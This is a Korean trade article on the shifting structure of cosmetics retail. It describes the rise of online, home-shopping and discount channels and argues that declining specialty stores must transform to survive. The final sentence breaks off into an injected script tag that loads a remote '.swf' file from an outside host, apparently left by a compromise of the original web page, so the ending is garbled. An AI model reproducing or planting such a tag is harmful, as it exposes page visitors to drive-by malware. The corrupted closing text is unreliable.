우리나라의 화장품 소매유통은 최근 5년간 급격한 변화를 겪으면서 채널별로 성장과 재편의 부침을 계속하고 있다.
즉, 온라인 쇼핑몰, 홈쇼핑, 통신판매, 할인점 등의 급성장과 전문점, 직판 등의 시장 감소 트렌드가 이어지고 있다.
80년대를 주도했던 방문판매, 90년대를 주도했던 전문점은 이제 다원화된 유통의 틈바구니 속에서 20~30%대의 구성비를 유지하기도 힘든 상황을 맞이하고 있다.
이러한 변화의 주요동인으로는 소비자 라이프 스타일의 변화와 채널 간 경쟁의 구도 및 기술의 변화를 들 수 있을 것이다.
먼저 소비자의 변화를 살펴보면 90년대 이후 경제성장에 따른 주거형태의 변화, 여성의 사회활동 증가, 여가시간의 증가, 가처분, 소득의 증가, 그리고 각종 매체 발달로 인한 정보획득의 증가 등으로 인하여 화장품 쇼핑 및 소비패턴 또한 한층 다양화, 양극화, 고급화되는 추세를 보이고 있다.
더 나아가 이제는 소비자들이 마니아층을 중심으로 제품개발 및 판매과정 등에 적극적으로 참여하는 등의 고객행동 변화가 진행되고 있다.
살아 남으려면 변해야 한다
오늘날의 소비자를 ‘켄타로우스’ 라고 일컫는다. 즉 최신의 테크놀로지에 익숙하지만 여전히 오랜 인간의 욕구와 동기에 따라 행동하는 새로운 ‘혼성소비자’이다. 이들은 오프라인과 온라인을 자유롭게 넘나들면서 삶을 반반씩 살아간다. 예를 들자면 인터넷에서 각종 정보를 탐색하지만 신문도 구독하고, 온라인 쇼핑몰에서 상품을 구매하지만 동네 슈퍼마켓도 이용하는 것이다.
이러한 소비자의 변화는 일반적인 제품을 만들고도 매스미디어 광고만 적당히 하면 잘 먹혀들던 방식이 더 이상 통할 수 없게 했다. 이로 인해 소비자들을 잡기 위한 기업들의 마케팅전략은 더욱 다양해지고, 소비자와 기업의 연결을 위해 활용되었던 쇼핑채널들이 분할 및 진화되고 있는 것이다.
또한 자가용 보급의 확대, 물류의 선진화, IT기술과 매체의 발달 등은 고도의 머천다이징과 고객관리 및 다양한 형태로 소비자에게 접근이 가능하게 함으로써, 할인점, 인터넷 쇼핑몰, 홈쇼핑, 통신판매 등 새로운 형태의 쇼핑채널을 태동시켰다. 이들 신규채널의 등장은 채널 간 경쟁의 구도 변화를 변화시키면서, 소비자 니즈를 충족시키기 위한 서비스 및 가격 경쟁을 촉발시켰다.
그 결과 채널 경쟁력 확보 및 소비자의 니즈 변화에 제대로 대응하지 못한 기존의 전통적 채널인 전문점, 직판 등은 심각한 위기상황을 맞이하고 있다. 지금의 전문점 현실은 타 채널 대비 유통환경의 낙후, 가격 경쟁력 상실, 차별화된 서비스의 부재 등으로 인한 판매 감소 및 경영악화가 이어지고 있다. 이를 만회하기 위한 고가 거점제품 위주 판매는 결국 전문점으로부터 소비자를 이탈시키는 악순환을 초래하고 있는 실정이다.
상황이 이러하지만 대부분의 전문점은 아직도 구태의연한 매장 경영을 지속하고 있으며, 메이커 역시 전문점의 변화유도를 통한 장기적 관점에서의 소비자 중심 영업보다는 전문점주 마진 및 판촉을 통한 밀어내기식 물량경쟁을 재연하고 있는 게 사실이다. 거기에다 올해는 급격한 소비위축 및 기상상황 악화까지 겹쳐 이중고를 겪고 있는 중이다.
그래도 아직까지는 화장품 총시장 내 주력채널로 자리매김하고 있지만, 이러한 상황이 지속된다면 전문점의 미래는 결코 1~2년 후를 보장할 수 없을 것이다.
근거리 - 다양한 품목 최대 강점
전문점이 살기 위해서는 이제 변해야 한다. 단순한 개선차원이 아닌 미래 생존차원에서 과감한 변화를 시도해야 한다. 아직 희망은 있다.
외국계 메이커들의 전망에 의하면 한국의 전문점 시장은 비록 30%대의 시장 구성비에 머물러 있지만 무궁무진한 잠재력을 보유하고 있다고 본다는 사실이다. 또한 일전의 설문조사에 따르면 국내 상위 메이커 영업총수 30명 중 73.3% 달하는 22명이 전문점에 주력하겠다고 답했다는 것이다.
그리고 일각에서는 이미 전문점의 활성활를 위해서 협회를 구성하여 공동대응을 모색하고 있는 것도 사실이다.
기존 전문점의 변화 모델은 여러 곳에서 감지되고 있다. 우선 혁신적인 매장운영 변화를 주도한 ‘T전문점’, 취급중인 여러 가지 카테고리 제품 중 화장품을 주력?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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